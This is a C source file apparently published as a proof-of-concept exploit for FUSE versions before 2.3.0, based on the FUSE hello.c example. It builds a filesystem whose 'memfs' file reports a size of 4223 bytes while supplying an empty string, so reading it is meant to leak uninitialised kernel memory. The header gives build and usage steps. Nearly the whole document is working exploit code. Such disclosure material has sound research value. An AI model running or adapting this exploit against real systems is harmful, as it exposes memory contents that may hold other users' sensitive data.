/* memfs.c: Proof of concept exploit for FUSE < 2.3.0 memfs.c is based on fuse/example/hello.c from Miklos Szeredi Details: http://www.sven-tantau.de/public_files/fuse/fuse_20050603.txt Build: Copy memfs.c over hello.c and run make in the fuse base directory Usage: Create a mountpoint ; ./hello /mnt/getmem/ ; cat /mnt/getmem/memfs ; If you see random bytes you are vulnerable. Sven Tantau - http://www.sven-tantau.de/ - 01.06.2005 FUSE: Filesystem in Userspace Copyright (C) 2001-2005 Miklos Szeredi This program can be distributed under the terms of the GNU GPL. */ #include #include #include #include #include static const char *memfs_str = ""; static const char *memfs_path = "/memfs"; static int memfs_getattr(const char *path, struct stat *stbuf) { int res = 0; memset(stbuf, 0, sizeof(struct stat)); if(strcmp(path, "/") == 0) { stbuf->st_mode = S_IFDIR | 0755; stbuf->st_nlink = 2; } else if(strcmp(path, memfs_path) == 0) { stbuf->st_mode = S_IFREG | 0444; stbuf->st_nlink = 1; stbuf->st_size = 4223; } else res = -ENOENT; return res; } static int memfs_getdir(const char *path, fuse_dirh_t h, fuse_dirfil_t filler) { if(strcmp(path, "/") != 0) return -ENOENT; filler(h, ".", 0, 0); filler(h, "..", 0, 0); filler(h, memfs_path + 1, 0, 0); return 0; } static int memfs_open(const char *path, struct fuse_file_info *fi) { if(strcmp(path, memfs_path) != 0) return -ENOENT; if((fi->flags & 3) != O_RDONLY) return -EACCES; return 0; } static int memfs_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) { size_t len; (void) fi; if(strcmp(path, memfs_path) != 0) return -ENOENT; len = strlen(memfs_str); if (offset < len) { if (offset + size > len) size = len - offset; memcpy(buf, memfs_str + offset, size); } else size = 0; return size; } static struct fuse_operations memfs_oper = { .getattr = memfs_getattr, .getdir = memfs_getdir, .open = memfs_open, .read = memfs_read, }; int main(int argc, char *argv[]) { return fuse_main(argc, argv, &memfs_oper); }

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